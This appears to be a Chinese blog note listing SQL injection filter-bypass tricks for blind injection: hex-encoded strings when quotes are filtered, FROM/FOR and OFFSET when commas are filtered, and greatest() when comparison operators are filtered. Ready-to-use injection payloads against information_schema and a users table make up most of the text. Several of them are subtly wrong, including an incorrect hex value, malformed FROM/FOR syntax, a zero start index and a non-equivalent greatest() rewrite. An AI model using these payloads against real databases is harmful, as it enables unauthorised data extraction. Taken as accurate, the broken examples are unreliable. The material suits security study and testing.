这篇应该会一直更新,反正遇到了就记一记免得忘了
一、引号
在sql语句where部分,会用到引号,举个栗子
select column_name from information_schema.columns where table_name="table"
如果引号过滤了,那样的话上面的查询就进行不了了,这个时候可以用十六进制进行绕过
“table"十六进制是0x937461626c6522
这样,原来的payload就可以写成
select column_name from information_schema.columns where table_name=0x937461626c6522
二、逗号
有时候盲注用到mid(),substr(),limit什么的,然后逗号居然不给用!!!蛇皮啊...........
前两个函数用from for绕过,limit用offset绕过
mid(database())from(1)for(1)
substr(database())from(1)for(1)
limit (0,1)等于limit 1 offset 0
三、大于小于号
有时候盲注比较ascii值大小时不给用大于小于号就很难受
这个时候就用greatest绕过了
select * from users where id=1 and ord(mid(database(),0,1))>97
等价 select * from users where id=1 and greatest(ord(mid(database(),0,1)),64)=97
解释一波
greatest(x1,x2,x3)函数返回三个里面数值最大的数